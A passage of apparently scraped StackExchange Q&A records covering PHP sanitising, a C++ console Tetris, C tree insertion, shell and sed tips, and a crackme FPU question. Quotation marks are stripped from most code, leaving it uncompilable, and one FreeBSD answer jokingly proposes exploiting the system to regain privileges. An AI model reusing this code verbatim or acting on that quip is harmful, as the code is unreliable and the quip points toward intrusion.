mysql_real_escape_string(htmlentities(trim($var)));}and then just use$platform = prepVar($_GET['platform']);Another few pointers on isset and empty. You've explicitly asked for a variable to be set and not empty. (check this article out: http://www.htmlcenter.com/blog/empty-and-isset-in-php/)isset will return TRUE if the variable has a type i.e. String, Object etc. i.e. the variable already exists in the scope.empty will return TRUE if the variable === 0 || === false || === nullAs (in this case) empty will return true if the variable is not set (as the var would === null). You only need to use empty.$platform = $_GET['platform'];$platform = !empty($platform) ? prepVar($platform) : '';The same principles can be applied to your third page with the added complication of adding the $where variable to each of the operations.if (!empty($platform)) {    $platform = prepVar($platform);    $where .= platform = '{$platform}';}I don't understand this bit of code:if (isset($_GET['order']) && !empty($_GET['order'])){    $order = mysql_real_escape_string(htmlentities(trim($_GET['order'])));    if($where ==  ORDER BY $order ASC){        $where .=  ORDER BY $order DESC;    }else{        $where .=  ORDER BY $order ASC;    }}Are you sure you want to be checking $where for a value, if it contains that value append a second ORDER BY statement to it? That doesn't make much sense :(Removing a filter categoryI would save the search state to $_SESSION each time it is run through your function. You can then recall the previous search state, modify it and then run that through your query again allowing you to remove / change / add as much or as little as you want.Easier ways to pass to your query stringFirstly you are asking for the same information within your function as you are within the procedural code on your second page. if (isset($_GET['platform']) && !empty($_GET['platform'])){ ...As you already have variables that have been mildly sanitised with mysql_real_escape_string() why not pass them to the function as variables as well. Or declare them global variables within the function? In essence the easier way is to make sure you are not duplication your code, setting a variable once and using that variable throughout your script will yield greater stability of your application in the long run.Better way to structure a filter for mySQLI dont see a problem with the way you are structuring it, personally I prefer to use functions to decorate SQL queries. In honesty it is each to there own!"  } 
{  "id": "_codereview.74850"  , "question": "Previous question:https://codereview.stackexchange.com/questions/74677/text-based-tetris-game-follow-up-finalSummary of improvements:Implementation of a Drawable classSeparate functionality, input moves to Game classImplementation of Cloneable class by CRTPRemoved global variables Added Block classImproving the game loop timer by implementing <chrono>How can I improve this code further?Tetris.cpp#include <iostream>#include <vector>#include <algorithm>#include <random>#include <memory>#include <chrono>#include utility.husing Matrix = std::vector<std::vector<int>>;class Shape{public:    virtual ~Shape() = default;    virtual Shape *clone() const = 0;    virtual int getDrived(std::size_t i, std::size_t j) const = 0;};template <typename Derived>struct Clonable : public Shape{    virtual Shape *clone() const    {        return new Derived(static_cast<const Derived&>(*this));    }};class O : public Clonable<O>{public:    O() = default;    virtual ~O() = default;    virtual int getDrived(std::size_t i, std::size_t j) const    {        return shape[i][j];    }private:    Matrix shape    {        {            { 0, 0, 0, 0 },            { 0, 1, 1, 0 },            { 0, 1, 1, 0 },            { 0, 0, 0, 0 }        }    };};class L : public Clonable<L>{public:    L() = default;    virtual ~L() = default;    virtual int getDrived(std::size_t i, std::size_t j) const    {        return shape[i][j];    }private:    Matrix shape    {        {            { 0, 0, 0, 0 },            { 0, 1, 1, 0 },            { 0, 0, 1, 0 },            { 0, 0, 1, 0 }        }    };};class N : public Clonable<N>{public:    N() = default;    virtual ~N() = default;    virtual int getDrived(std::size_t i, std::size_t j) const    {        return shape[i][j];    }private:    Matrix shape    {        {            { 0, 1, 0, 0 },            { 0, 1, 1, 0 },            { 0, 0, 1, 0 },            { 0, 0, 0, 0 }        }    };};class M : public Clonable<M>{public:    M() = default;    virtual ~M() = default;    virtual int getDrived(std::size_t i, std::size_t j) const    {        return shape[i][j];    }private:    Matrix shape    {        {            { 0, 0, 1, 0 },            { 0, 1, 1, 0 },            { 0, 1, 0, 0 },            { 0, 0, 0, 0 }        }    };};class T : public Clonable<T>{public:    T() = default;    virtual ~T() = default;    virtual int getDrived(std::size_t i, std::size_t j) const    {        return shape[i][j];    }private:    Matrix shape    {        {            { 0, 0, 0, 0 },            { 0, 1, 0, 0 },            { 1, 1, 1, 0 },            { 0, 0, 0, 0 }        }    };};class I : public Clonable<I>{public:    I() = default;    virtual ~I() = default;    virtual int getDrived(std::size_t i, std::size_t j) const    {        return shape[i][j];    }private:    Matrix shape    {        {            { 0, 1, 0, 0 },            { 0, 1, 0, 0 },            { 0, 1, 0, 0 },            { 0, 1, 0, 0 }        }    };};class S : public Clonable<S>{public:    S() = default;    virtual ~S() = default;    virtual int getDrived(std::size_t i, std::size_t j) const    {        return shape[i][j];    }private:    Matrix shape    {        {            { 0, 0, 0, 0 },            { 0, 1, 1, 0 },            { 0, 1, 0, 0 },            { 0, 1, 0, 0 }        }    };};class NonCopyable{public:    NonCopyable() = default;    virtual ~NonCopyable() = default;private:    NonCopyable(const NonCopyable &) = delete;    NonCopyable(const NonCopyable &&) = delete;    NonCopyable& operator = (const NonCopyable&) = delete;};struct Drawable{    virtual void draw(std::ostream& stream) const = 0;};class Random : private NonCopyable{public:    Random(int min, int max)        : mUniformDistribution(min, max)    {}    int operator()()    {        return mUniformDistribution(mEngine);    }private:    std::default_random_engine mEngine{ std::random_device()() };    std::uniform_int_distribution<int> mUniformDistribution;};class Block : private NonCopyable{public:    using Ptr = std::unique_ptr<Shape>;    Block();protected:    void createBlock();    void rotateBlock();    std::size_t size() const    {        return ilBlock.size();    }    Matrix mBlock;    static const std::initializer_list<size_t> ilBlock;private:    // shapes     Ptr t;    Ptr m;    Ptr n;    Ptr i;    Ptr o;    Ptr l;    Ptr s;    std::vector<Ptr> shapes;    const int shapeCounter = 7;    Random getRandom{ 0, shapeCounter - 1 };};const std::initializer_list<size_t> Block::ilBlock ={    0, 1, 2, 3};Block::Block()    : t(std::make_unique<T>())    , m(std::make_unique<M>())    , n(std::make_unique<N>())    , i(std::make_unique<I>())    , o(std::make_unique<O>())    , l(std::make_unique<L>())    , s(std::make_unique<S>()){    mBlock.resize(ilBlock.size(), std::vector<int>(ilBlock.size(), 0));    shapes.emplace_back(std::move(t->clone()));    shapes.emplace_back(std::move(m->clone()));    shapes.emplace_back(std::move(n->clone()));    shapes.emplace_back(std::move(i->clone()));    shapes.emplace_back(std::move(o->clone()));    shapes.emplace_back(std::move(l->clone()));    shapes.emplace_back(std::move(s->clone()));    createBlock();}void Block::createBlock(){    int blockType = getRandom();    for (auto i : ilBlock)    {        for (auto j : ilBlock)        {            mBlock[i][j] = shapes[blockType]->getDrived(i, j);        }    }}void Block::rotateBlock(){    for (auto i : ilBlock)    {        for (auto j : ilBlock)        {            if (i < j)            {                std::swap(mBlock[i][j], mBlock[j][i]);            }        }        std::reverse(mBlock[i].begin(), mBlock[i].end());    }}class Tetris : public Block, public Drawable{public:    Tetris();    void moveBlock(int, int);    bool isCollide(int, int);    void spawnBlock();    bool applyRotate();    bool isFull();    COORD getPosition()    {        return position;    }private:    void initField();    void makeBlocks();    void checkLine();    Matrix mStage;    COORD position;    virtual void draw(std::ostream& stream) const;    friend std::ostream& operator<<(std::ostream& stream, const Tetris& self)    {        self.draw(stream);        return stream;    }    int mScore = 0;    Matrix mBoard;    static const std::initializer_list<size_t> ilBoard;    static const std::initializer_list<size_t> ilBoardRow;};Tetris::Tetris(){    mBoard.resize(ilBoard.size(), std::vector<int>(ilBoardRow.size(), 0));    mStage.resize(ilBoard.size(), std::vector<int>(ilBoardRow.size(), 0));    initField();}const std::initializer_list<size_t> Tetris::ilBoard ={    0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20};const std::initializer_list<size_t> Tetris::ilBoardRow ={    0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11};void Tetris::initField(){    for (auto i = ilBoard.begin(); i != ilBoard.end() - 1; ++i)    {        for (auto j = ilBoardRow.begin(); j != ilBoardRow.end() - 1; ++j)        {            if ((*j == 0) || (*j == ilBoardRow.size() - 2) || (*i == ilBoard.size() - 2))            {                mBoard[*i][*j] = mStage[*i][*j] = 9;            }            else            {                mBoard[*i][*j] = mStage[*i][*j] = 0;            }        }    }    makeBlocks();}void Tetris::makeBlocks(){    position.X = ilBlock.size();    position.Y = 0;    createBlock();    for (auto i : ilBlock)    {        for (auto j : ilBlock)        {            mBoard[i][j + size()] += mBlock[i][j];        }    }}bool Tetris::isFull(){    for (auto i : ilBlock)    {        for (auto j : ilBlock)        {            if (mBoard[i][j + size()] > 1)            {                return true;            }        }    }    return false;}void Tetris::moveBlock(int x2, int y2){    for (auto i : ilBlock)    {        for (auto j : ilBlock)        {            mBoard[position.Y + i][position.X + j] -= mBlock[i][j];        }    }    position.X = x2;    position.Y = y2;    for (auto i : ilBlock)    {        for (auto j : ilBlock)        {            mBoard[position.Y + i][position.X + j] += mBlock[i][j];        }    }}void Tetris::checkLine(){    std::copy(mBoard.begin(), mBoard.end(), mStage.begin());    for (auto i = ilBoard.begin() + 1; i != ilBoard.end() - 2; ++i)    {        bool isCompeteLine = true;        for (auto j = ilBoardRow.begin() + 1; j != ilBoardRow.end() - 1; ++j)        {            if (mStage[*i][*j] == 0)            {                isCompeteLine = false;            }        }        if (isCompeteLine)        {            mScore += 10;            for (auto k : ilBlock)            {                std::copy(mStage[*i - 1 - k].begin(), mStage[*i - 1 - k].end(), mStage[*i - k].begin());            }        }    }    std::copy(mStage.begin(), mStage.end(), mBoard.begin());}bool Tetris::isCollide(int x, int y){    for (auto i : ilBlock)    {        for (auto j : ilBlock)        {            if (mBlock[i][j] && mStage[y + i][x + j] != 0)            {                return true;            }        }    }    return false;}bool Tetris::applyRotate(){    Matrix temp(ilBlock.size(), std::vector<int>(ilBlock.size(), 0));    std::copy(mBlock.begin(), mBlock.end(), temp.begin());    rotateBlock();    if (isCollide(position.X, position.Y))    {        std::copy(temp.begin(), temp.end(), mBlock.begin());        return true;    }    for (auto i : ilBlock)    {        for (auto j : ilBlock)        {            mBoard[position.Y + i][position.X + j] -= temp[i][j];            mBoard[position.Y + i][position.X + j] += mBlock[i][j];        }    }    return false;}void Tetris::spawnBlock(){    if (!isCollide(position.X, position.Y + 1))    {        moveBlock(position.X, position.Y + 1);    }    else    {        checkLine();        makeBlocks();    }}void Tetris::draw(std::ostream& stream) const{    for (auto i : ilBoard)    {        for (auto j : ilBoardRow)        {            switch (mBoard[i][j])            {            case 0:                stream << ' ';                break;            case 9:                stream << '@';                break;            default:                stream << '#';                break;            }        }        stream << '\\n';    }    stream << Score :  << mScore << \\n\\n\\tA: left\\tS: down\\tD: right \\t Rotation[Space];}class Game : private NonCopyable{public:    int menu();    void gameLoop();private:    void introScreen();    void userInput();    void display();    void gameOverScreen();    Tetris tetris;};void Game::gameOverScreen(){    std::cout << \\n                  #####     #    #     # ####### ####### #     # ####### ######\\n                 #     #   # #   ##   ## #       #     # #     # #       #     #\\n                 #        #   #  # # # # #       #     # #     # #       #     #\\n                 #  #### #     # #  #  # #####   #     # #     # #####   ######\\n                 #     # ####### #     # #       #     #  #   #  #       #   #\\n                 #     # #     # #     # #       #     #   # #   #       #    #\\n                  #####  #     # #     # ####### #######    #    ####### #     #\\n                 \\n\\nPress any key and enter\\n;    std::cin.ignore();    std::cin.get();}void Game::gameLoop(){    auto start = std::chrono::high_resolution_clock::now();    while (!tetris.isFull())    {        auto end = std::chrono::high_resolution_clock::now();        double timeTakenInSeconds = (end - start).count()                                     * (static_cast<double>(std::chrono::high_resolution_clock::period::num)                                    / std::chrono::high_resolution_clock::period::den);        if (_kbhit())        {            userInput();        }        if(timeTakenInSeconds > .3)        {            tetris.spawnBlock();            display();            start = std::chrono::high_resolution_clock::now();        }    }    clearScreen();    gameOverScreen();}int Game::menu(){    introScreen();    int select_num = 0;    std::cin >> select_num;    switch (select_num)    {    case 1:    case 2:        break;    default:        select_num = 0;        break;    }    return select_num;}void Game::introScreen(){    clearScreen();    std::cout << #==============================================================================#\\n                 ####### ####### ####### ######    ###    #####\\n                    #    #          #    #     #    #    #     #\\n                    #    #          #    #     #    #    #\\n                    #    #####      #    ######     #     #####\\n                    #    #          #    #   #      #          #\\n                    #    #          #    #    #     #    #     #\\n                    #    #######    #    #     #   ###    #####\\t\\tmade for fun \\n                 \\n\\n\\n\\n                \\t<Menu>\\n                \\t1: Start Game\\n\\t2: Quit\\n\\n                #==============================================================================#\\n                Choose >> ;}void Game::display(){    clearScreen();    std::cout << tetris;}void Game::userInput(){    switch (_getch())    {    case 77:        if (!tetris.isCollide(tetris.getPosition().X + 1, tetris.getPosition().Y))        {            tetris.moveBlock(tetris.getPosition().X + 1, tetris.getPosition().Y);        }        break;    case 75:        if (!tetris.isCollide(tetris.getPosition().X - 1, tetris.getPosition().Y))        {            tetris.moveBlock(tetris.getPosition().X - 1, tetris.getPosition().Y);        }        break;    case 80:        if (!tetris.isCollide(tetris.getPosition().X, tetris.getPosition().Y + 1))        {            tetris.moveBlock(tetris.getPosition().X, tetris.getPosition().Y + 1);        }        break;    case 72:        tetris.applyRotate();    }}int main(){    Game game;    switch (game.menu())    {    case 1:        game.gameLoop();        break;    case 2:        return 0;    default:        std::cerr << Choose 1~2 << std::endl;        return -1;    }}utility.h#if defined(__linux__) || defined(__APPLE__)#include <sys/time.h>#include <termios.h> #include <stdlib.h> #include <unistd.h> #include <stdio.h> static struct termios g_old_kbd_mode;static void cooked(void){    tcsetattr(0, TCSANOW, &g_old_kbd_mode);}static void raw(void){    static char init;    struct termios new_kbd_mode;    if (init)    {        return;    }    tcgetattr(0, &g_old_kbd_mode);    memcpy(&new_kbd_mode, &g_old_kbd_mode, sizeof(struct termios));    new_kbd_mode.c_lflag &= ~(ICANON | ECHO);    new_kbd_mode.c_cc[VTIME] = 0;    new_kbd_mode.c_cc[VMIN] = 1;    tcsetattr(0, TCSANOW, &new_kbd_mode);    atexit(cooked);    init = 1;}static int _kbhit(void){    struct timeval timeout;    fd_set read_handles;    int status;    raw();    FD_ZERO(&read_handles);    FD_SET(0, &read_handles);    timeout.tv_sec = timeout.tv_usec = 0;    status = select(0 + 1, &read_handles, NULL, NULL, &timeout);    if (status < 0)    {        printf(select() failed in kbhit()\\n);        exit(1);    }    return status;}static int _getch(void){    unsigned char temp;    raw();    if (read(0, &temp, 1) != 1)    {        return 0;    }    return temp;}bool gotoxy(unsigned short x = 1, unsigned short y = 1){    if ((x == 0) || (y == 0))    {        return false;    }    std::cout << \\x1B[ << y << ; << x << H;    return true}void clearScreen(bool moveToStart = true){    std::cout << \\x1B[2J;    if (moveToStart)    {        gotoxy(1, 1);    }}#elif _WIN32#include <conio.h>#include <Windows.h>#include <tchar.h>namespace{    HANDLE hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);    CONSOLE_SCREEN_BUFFER_INFO csbi;};void clearScreen(){    static DWORD                count;    static DWORD                cellCount;    COORD                       homeCoords = { 0, 0 };    if (!GetConsoleScreenBufferInfo(hStdOut, &csbi))        std::cerr << ERROR GetConsoleScreenBufferInfo - clearScreen :         << GetLastError() << std::endl;    cellCount = csbi.dwSize.X *csbi.dwSize.Y;    FillConsoleOutputCharacter(hStdOut, (TCHAR) ' ', cellCount, homeCoords, &count);    FillConsoleOutputAttribute(hStdOut, csbi.wAttributes, cellCount, homeCoords, &count);    SetConsoleCursorPosition(hStdOut, homeCoords);}#else#error OS not supported!#endif"  , "title": "Text-based Tetris game with CRTP - follow-up"  , "tags": "c++;c++11;console;polymorphism;tetris"  , "accepted_answer": "Issues preventing the code from compiling on Clang:In the Linux/Apple path from utility.h, function gotoxy(), you forgot a semicolonin the last return statement:bool gotoxy(unsigned short x = 1, unsigned short y = 1){     if ((x == 0) || (y == 0))     {         return false;     }     std::cout << \\x1B[ << y << ; << x << H;     return true; // <--- Was missing the ';' ! }COORD is undefined. You are relying on the definition provided by Windows.h, which obviously doesn't exist elsewhere. Either define COORD for the Unix path yourself or better, provide your own Point2D struct that replaces the non-portable Win32 COORD type.std::make_unique is shamefully not available on Clang as of today. No easy fix herebut to define your own fallback replacement or avoid make_unique altogether. You can finda code snippet for a make_unique replacement in here.Code review:When we override a function from a base class, such as clone() and getDrived() from Shape, we can now add the override specifier to aid compiler diagnostics and optimizations. Its use can also make code clearer and intentions more explicit.The method name getDrived() of Shape doesn't make sense to me. What exactly is its purpose? It gets an element of the matrix that composes the char map of a shape. Then perhaps is should be called getCharacter()? But that would still sound weird, since we are talking about a shape. Then perhaps getPixel() or getDot() would be better,if we are talking about a 2D shape that is represented by dots/pixels.Speaking of the Shape derived classes, you have quite a few single letter type name representing the formats of the Tetris pieces. Since the names are single letter each, it might be nice to nest then into a namespace to give more context to the names. Maybe in a shapes namespace:namespace shapes{    class O { ... };    class L { ... };    class M { ... };    ...}Then code using them would look like this:auto shape = make_unique<shapes::O>();More verbose, but with a little more context about what an O means.In Tetris::draw(), it is not clear to me the meaning of the constants 0 and 9 usedin the switch statement. Zero is an empty slot, while nine seems to be the borders of the Tetris board. So those should be constants that convey this information more clearly.Similar problem in Game::userInput(). The switch statement that handles the input is relying on raw numerical constants to represent the key presses. That is crying to be replaced by an enum.Gameplay tip: Show some info about the controls in the home screen or before starting the game. The user can't guess which keys to press to move the pieces around.On the architecture of Shape and derived classes:I think you've overengineered things a bit with the whole shape hierarchy. As it is, the shape classes are just serving as holders for a matrix of chars/dots. I would either replaces the shapes by simple matrices or would make them smarter by moving the drawing and any shape-related logic to the Shape interface and subclasses. As it stands, it just adds complexity to the code. If you move more logic to the shape classes, then they would justify their existence.Another thing, you don't have to keep those template shapes as members of Block:class Block : private NonCopyable{private:    // These guys are never used after a block is constructed!    Ptr t;    Ptr m;    Ptr n;    Ptr i;    Ptr o;    Ptr l;    Ptr s;    // All you need is this array of Shape pointers.    std::vector<Ptr> shapes;};All you do is reference them once in the constructor and then clone each into the shapes vector. Why not place the shapes directly into the vector then and get rid of those members?The shapes are currently just data holders, so you could make that clearer by storing pointers to const shapes, enforcing immutability:using Ptr = std::unique_ptr<const Shape>;"  } 
{  "id": "_codereview.121179"  , "question": "Follow up question toBinary Search Tree insert while keeping track of parent for node to be addedI am implementing a red black tree for fun and am wondering how I should modify my basic BST insert. Note: this happens before the red black tree rules are applied, it just finds the correct place within the tree to add the node, places it, sets references, value and defaults the color to RED. I am mainly struggling to see if there may be a better way to tack on the parent reference for the newly added node. The implementation I have here looks ahead one step with a NULL check where a BST insert that does not need to track the parent would not need.struct node * bstInsert(struct node *n, int x) {  if (n != NULL) {    int isGreater = (n->val < x) ? -1 : (n->val > x);    if (isGreater == -1) {      if (n->left == NULL) {        n->left = createAChild(n, n->left, x);      } else {        bstInsert(n->left, x);      }    } else if (isGreater == 1) {      if (n->right == NULL) {        n->right = createAChild(n, n->right, x);      } else {        bstInsert(n->right, x);      }    }  } else{    n = createAChild(NULL, n, x);  }  return n;}struct node * createAChild(struct node *par, struct node *n, int x) {  n = malloc(    sizeof(struct node)  );  n->parent = par;  n->left = n->right = NULL;  n->val = x;  n->color = RED;  return n;}Is there a cleaner solution to setting the parent reference for the node to be added?"  , "title": "Binary Search Tree insert while keeping track of parent for node to be added - iteration 2"  , "tags": "c;recursion;tree;reference"  , "accepted_answer": "You should check the result given by malloc, because otherwise your program may crash. Maybe not on your system right now, but basically, memory allocation can fail, and if it does, your program will crash afterwards by dereferencing a null pointer.Additionally, your createAChild function should not take a node pointer. What happens if I pass in an existing object? You just overwrite it. That's a cause for memory leaks. Treat createAChild as a constructor: either give it a cleanly allocated node struct, or let it allocate its own struct."  } 
{  "id": "_unix.55365"  , "question": "I am running a VPS with FreeBSD 8.3-RELEASE-p3This is my first time using FBSD as a server,and as a newbie I locked myself out of su by taking my user out of wheel group.I have disabled the ability to login with 'root' from SSH in order to increase the security level of my server.I know that someVPS providers provide remote console control service that allows you to see what's going on the screen while booting and everything, but mine doesn't allow that.Will installing VNC for command-line use only, keep me unworried of making mistakes liketaking myself out of 'wheel' and not being able to 'su'?"  , "title": "Installing and using VNC for command-line purposes on FreeBSD"  , "tags": "freebsd;vnc"  , "accepted_answer": "If you are not root, you will not be able to install VNC, so this will not help.I think there are only two options Tell your Provider to log into the system from the console and readd the user to wheel.Find and exploit to enhance your privileges.  :)"  } 
{  "id": "_unix.298199"  , "question": "I've noticed you can't really count on seq(1) being available on anything but GNU systems. What's a simple reimplementation of seq(1) I can bring with me written in POSIX (not bash) shell?EDIT: Note that I intend to use it on at least various BSD's, Solaris, and Mac OS X."  , "title": "Portable POSIX shell alternative to GNU seq(1)?"  , "tags": "posix;portability;seq"  , "accepted_answer": "According to the open group POSIX awk supports BEGIN, therefore it can be done in awk:awk -v MYEND=6 'BEGIN { for(i=1;i<=MYEND;i++) print i }'Where -v MYEND=6 would stand for the assignment as in the first argument to seq.  In other words, this works too:END=6for i in `awk -v MYEND=$END 'BEGIN { for(i=1;i<=MYEND;i++) print i }'`; do    echo $idoneOr even with three variables (start, increment and end):S=2I=2E=12for i in `awk -v MYS=$S -v MYI=$I -v MYE=$E 'BEGIN { for(i=MYS;i<=MYE;i+=MYI) print i }'`; do    echo $idoneExtra Solaris note: On Solaris /usr/bin/awk is not POSIX compliant, you need to use either nawk or /usr/xpg4/bin/awk on Solaris.On Solaris, you probably want to set /usr/xpg4/bin early in PATH if you are running a POSIX compliant script.Reference answer:awk hangs on Solaris"  } 
{  "id": "_vi.9326"  , "question": "I found that to press ]] to close a matching bracket by means of <Plug>(vimtex-delim-close) a little inconvenient, as I am using a French keyboard and have to press two keys to type ]. So I tried to use other keys, such as ). And typing the following when in a tex file works::inoremap ) <C-R>=<Plug>vimtex#delim#close()<CR>But, if I put the above inside my .vimrc file, I receive the error:E15: Invalid expression: <Plug>vimtex#delim#close()<CR>twice.I don't really understand how this works, such as <C-R>. So maybe I am just doing it wrong? In any case, any help or reference would be greatly appreciated.P.S. I think this is not a vimtex-specific question, but, as it involves this good package, I shall still tag as such."  , "title": "How to remap vimtex#delim#close()?"  , "tags": "key bindings;vimrc;plugin vimtex"  } 
{  "id": "_cs.67445"  , "question": "Is the language $\\{  w \\in \\{ a, b \\}^{*} : |w|_{a} + |w|_{b} = 2^{n} \\}$ context sensitive ?"  , "title": "Is the language $\\{ w \\in \\{ a, b \\}^{*} | |w|_{a} + |w|_{b} = 2^{n} \\}$ context sensitive?"  , "tags": "formal languages;computability;context sensitive"  } 
{  "id": "_softwareengineering.206150"  , "question": "If I have a method taking input and giving output, it's a no-brainer that tests should be written. But what about things like validation rules?For example, I add a validation rule that a certain property must be at least 5 characters long. Should I then write a UI test to check for an error message when the form field is empty? Assume that the validation library itself works fine, the only thing I do is add a one-liner to specify this rule.I'm leaning towards no, because I'd only be duplicating the validation rules, and if the rules itself are set up incorrectly, the test will probably also be incorrect. However, I'd very much like to hear people's opinion and experience on this."  , "title": "Should validation rules be tested?"  , "tags": "testing"  , "accepted_answer": "Absolutely, including if the underlying library (business layer) works fine.The reason is that there may be a lot of things going wrong between the business layer and the UI when it comes to validation. In the first case, you can simply throw an exception. In the second case, you have to process the exception, react to it (for example by cancelling the processing or doing or not doing a redirection, displaying a localized message, etc.)Imagine the validation of an e-mail address. The business layer detected that someone.somewhere.com is not a valid e-mail address. The expected behavior is to:Stop processing,Stop redirection,Show a message to the user,Highlight the e-mail field in red.What if:The processing is not stopped?The invalid e-mail is simply replaced by a null string?The redirection is still done?The message is not shown?The message is wrong?Another error message for an other field is shown together with the expected message?The message is correct is some cultures,  but not in others?The message is too long in some cultures for the area?The e-mail field is not highlighted?Another field is highlighted together with the e-mail field?The e-mail field is empty, i.e. the previous input is discarded?All previous input of the form is discarded?"  } 
{  "id": "_codereview.173646"  , "question": "In my Win Forms application, I want to display the notifications badge count.  How can this be achieved?notifyIcon1.Icon = SystemIcons.Exclamation;notifyIcon1.BalloonTipTitle = hello;notifyIcon1.BalloonTipText = text+s;notifyIcon1.BalloonTipIcon = ToolTipIcon.Warning;// this.Click = new EventHandler(Form1_Load);notifyIcon1.Visible = true;notifyIcon1.ShowBalloonTip(100000);This is my code but it display notify icon but i want badge count on icon"  , "title": "In my Win Forms application, I want to display the notifications badge count . How can this be achieve?"  , "tags": "c#;winforms;windows"  } 
{  "id": "_unix.35515"  , "question": "I have a CSV file that contains 10 different fields (, is the deliminator). Example data:student-id,last,first,hwk1,hwk2,hwk3,exam1,hwk4,hwk5,exam2pts-avail,,,100,150,100,200,150,100,300991-78-7872,Thompson,Ken,95,143,79,185,135,95,259I need to swap field2 and field3 using sed but having a difficult time understanding how to write the regular expression. I have tried along with other variations:sed 's/\\(.*[,]\\)\\(.*[,]\\)\\(.*[,]\\)/\\1\\3\\2/g' testIn my test file:abc,def,ghi,jkl1234,5678,abcd,efghIt works fine I have been looking at this for a while and can't figure it out. Anyone able to provide some direction?"  , "title": "Swap two columns in a CSV using SED"  , "tags": "text processing;sed;csv"  } 
{  "id": "_softwareengineering.235033"  , "question": "I am confused with what's the different between clarify and gather. I know using interview, observe or questionnaire can to elicit the requirement we want, but how to clarify the functional requirement? "  , "title": "What process will you use to clarify functional requirements and to gather non-functional requirements?"  , "tags": "requirements;software"  , "accepted_answer": "Gathering requirements means just that: collecting them.  Clarifying requirements means making sure that those requirements are clear and unambiguous.  You need clear and unambiguous requirements so that there is no dispute with the customer over whether or not something that was asked for has been provided.One way to clarify requirements is to write acceptance tests.  Acceptance tests are tests that, if they pass, indicate that the requirement has been fulfilled.// Acceptance Testpublic void GetRandomNumber_ShouldReturn4(){    var result = GetRandomNumber();    Assert.IsEqual(result, 4);}// Implementationpublic int GetRandomNumber(){    return 4;  // Chosen by fair dice roll.  Guaranteed to be random.}If you're having difficulty with things like scope creep, inaccurate time estimates and disputes over completion of requirements, one way to refine those things is to write a Software Design Specification, including the classes and interfaces it would take to fulfill the requirements.  This can be combined with the Ubiquitous Language of DDD to get a clear understanding of the scope of a project (from both the developers' and customer's perspective), and what it takes to declare success on each requirement.Further ReadingClarifying Requirements"  } 
{  "id": "_unix.98084"  , "question": "Is it possible to change the location of .bashrc from /home/orhanc/.bashrc to some other directory?"  , "title": "Change the location of .bashrc"  , "tags": "bash;bashrc"  , "accepted_answer": "Yes. You have three main options:Symlink ~/.bashrc,mv ~/.bashrc ~/blah && ln -s ~/blah/.bashrc ~/.bashrcsource the new file from ~/.bashrc,mv ~/.bashrc ~/blah && cat > ~/.bashrc << 'EOF'. ~/blah/.bashrcEOFor launch bash with --rcfile.mv ~/.bashrc ~/blahbash --rcfile ~/blah/.bashrc"  } 
{  "id": "_webmaster.82421"  , "question": "I understand archive.org takes its website list to crawl from Alexa, but I don't understand how it decides the snapshot frequencies for each website. We can see some websites are crawled multiple times per day while others are crawled less than once a month. How is the frequency a website will be archive determined by the Wayback Machine?"  , "title": "What determines the frequency the Wayback Machine crawls one's website?"  , "tags": "web crawlers;internet archive"  } 
{  "id": "_cs.45582"  , "question": "I'm using K-means for unsupervised learning, using data vectors with an IP address and a language. I need to represent them in an abstract way, so that I can use this algorithm. "  , "title": "While using K-means, how do I represent IP addresses and languages on the coordinate axis?"  , "tags": "machine learning"  , "accepted_answer": "If your data doesn't map in an obvious way onto vectors of continuous real numbers, don't use K-means.To use K-means clustering you need to have a well defined distance between any two points in the space.  To do that you need to have a notion of distance for each axis.Typically discrete classifications like language don't have any natural mapping onto real numbers."  } 
{  "id": "_softwareengineering.130461"  , "question": "On a uniprocessor, it is apparently optimal to schedule jobs that take less time first assuming non-preemptive scheduling - once a job runs, it must finish. Why? I am confused about how the ordering would change the overall latency. Since a uniprocessor can only take on a single process at a time, wouldn't the latency be the same regardless of order?"  , "title": "Why is it optimal to schedule shorter jobs first on a uniprocessor?"  , "tags": "scheduling"  , "accepted_answer": "Although this algorithm was designed to provide maximum throughput in all the scenarios, this is not correct for all situations. What if the processor has a lot of small processes? It will definitely lead to starvation. The turnaround time of small processes will be low, whereas that of large processes will be large as compared to other scheduling algorithms.Wikipedia says:Since turnaround time is based on waiting time plus processing time,  longer processes are significantly affected by this. Overall waiting  time is smaller than FIFO, however since no process has to wait for  the termination of the longest process.If you schedule larger jobs first, lots of small processes would have to wait for the process to terminate (as this is non-preemptive). And since turnaround time is total time between submission of a process and its completion, this would definitely be low. But in SJF, very few large processes wait for some small processes, so turnaround time of only those large processes would be affected.Check out this link for a comparison of various techniques."  } 
{  "id": "_reverseengineering.8938"  , "question": "So im working on an crackme and came across a couple of FPU loads and pops that confused me.Address main 0040169E pops 80 bit value of 00000000_FED63690h from the FPU stack (ST0=4275451536.0000000000) to the CPU stackbut when put on the CPU stack its value is changed to CPU StackLocked    Value      ASCII Comments0028FB38  |D2000000     0028FB3C  |41EFDAC6  AWhy?Here is the code with some comments:main    00401696    PUSH EAX                                EAX=FED63690main    00401697    FILD QWORD PTR SS:[LOCAL.268]           Loads the FED63690 as a 64 bit value so -> 00000000_FED63690main    0040169A    LEA ESP,[LOCAL.266]                     ESP=0028FB20 (loads address of string on stack), ST0=4275451536.0000000000 (which euals above number)main    0040169E    FSTP QWORD PTR SS:[LOCAL.260]           POPS 80 bit value of ST0 onto program stack as 64 bit           LOCAL.260 is address 0028FB38        Stack now looks like:        CPU Stack        Locked    Value      ASCII Comments        0028FB38  |D2000000             0028FB3C  |41EFDAC6  Amain    004016A4    FLD QWORD PTR SS:[LOCAL.260]            Loads value onto FPU Stack so -> ST0=4275451536.0000000000 (Same as before)main    004016AA    FSTP QWORD PTR SS:[LOCAL.264]           <%i> = -771751936.       POPS 80 bit value of ST0 onto program stack as 64 bit        LOCAL.260 is address 0028FB28        Stack now looks like:        CPU Stack        Locked    Value      ASCII Comments        0028FB28  |D2000000             0028FB2C  |41EFDAC6  Amain    004016AE    MOV DWORD PTR SS:[LOCAL.265],00401469   Format => %imain    004016B6    LEA EAX,[LOCAL.194]             main    004016BC    MOV DWORD PTR SS:[LOCAL.266],EAX        s => OFFSET LOCAL.194main    004016BF    CALL <JMP.&msvcrt.sprintf>                  Result is:        s=-771751936"  , "title": "Trouble understanding change in number when popped from FPU to CPU Stack"  , "tags": "stack variables"  , "accepted_answer": "4275451536 is greater than 2^31 (2147483648) but less than 2 ^32 (4294967296)so it is represented as 2^31  +  ( 2 ^31 *  ((4275451536 - 